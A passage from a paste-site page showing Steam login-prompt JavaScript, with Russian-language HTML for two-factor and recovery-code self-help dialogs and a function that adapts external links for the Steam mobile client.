data-modalstate=\"selfhelp_sms_remove_checkcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u042f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u043a\u043e\u0434. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0435\u0449\u0435 \u0440\u0430\u0437.<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_nosms\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u043c\u043e\u0433\u0438\u0442\u0435,<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043d\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_twofactor_removed\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_complete\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u0412\u043e\u0439\u0442\u0438<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_twofactor_replaced\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_complete\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u0412\u043e\u0439\u0442\u0438<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0432 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Steam<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_nosms\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_rcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u0414\u0430,<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0443 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u043a\u043e\u0434, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u043d\u0430 R<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_couldnthelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041d\u0435\u0442,<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u043a\u043e\u0434\u0430<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_rcode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_rcode_checkcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u043a\u043e\u0434 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_couldnthelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u043c\u043e\u0433\u0438\u0442\u0435!<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u0432 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 Steam\u2026<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_rcode_checkcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u042f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u043a\u043e\u0434. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0435\u0449\u0435 \u0440\u0430\u0437.<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_couldnthelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u043c\u043e\u0433\u0438\u0442\u0435!<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u0432 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 Steam\u2026<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode_exhausted\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_couldnthelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u041f\u043e\u043c\u043e\u0433\u0438\u0442\u0435!<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u0432 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 Steam\u2026<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_couldnthelp\" style=\"display: none;\">\r\n\t\t\t\t<a class=\"auth_button leftbtn\" href=\"https:\/\/help.steampowered.com\/\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">\u0421\u0432\u044f\u0436\u0438\u0442\u0435\u0441\u044c \u0441 \u043d\u0430\u043c\u0438<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">\u0434\u043b\u044f \u043f\u043e\u043c\u043e\u0449\u0438 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443<\/div>\r\n\t\t\t\t<\/a>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_waiting\" style=\"display: none;\">\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div style=\"display: none;\">\r\n\t\t\t<input type=\"submit\">\r\n\t\t<\/div>\r\n\t\t<\/form>\r\n\t<\/div>\r\n<\/div>\r\n" );
  1202. $J('body').append( CLoginPromptManager.sm_$Modals );
  1203. }
  1204. else
  1205. {
  1206. CLoginPromptManager.sm_$Modals = $modals;
  1207. }
  1208. };
  1209.  
  1210. CLoginPromptManager.prototype.GetModalContent = function( strModalType )
  1211. {
  1212. var $ModalContent = CLoginPromptManager.sm_$Modals.find( '.login_modal.' + strModalType );
  1213.  
  1214. if ( this.m_bIsMobileSteamClient )
  1215. {
  1216. var manager = this;
  1217. $ModalContent.find('a[data-externallink]' ).each( function() {
  1218. if ( !manager.m_bMobileClientSupportsPostMessage )
  1219. $J(this).attr( 'href', 'steammobile://openexternalurl?url=' + $J(this).attr('href') );
  1220. else
  1221. $J(this).on('click', function( e ) {
  1222. e.preventDefault();
  1223. window.postMessage( JSON.stringify( {action: "openexternalurl", url: $J(this).attr('href') } ), window.location );
  1224. });
  1225. });
  1226. }
  1227.  
  1228. return $ModalContent;
  1229. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement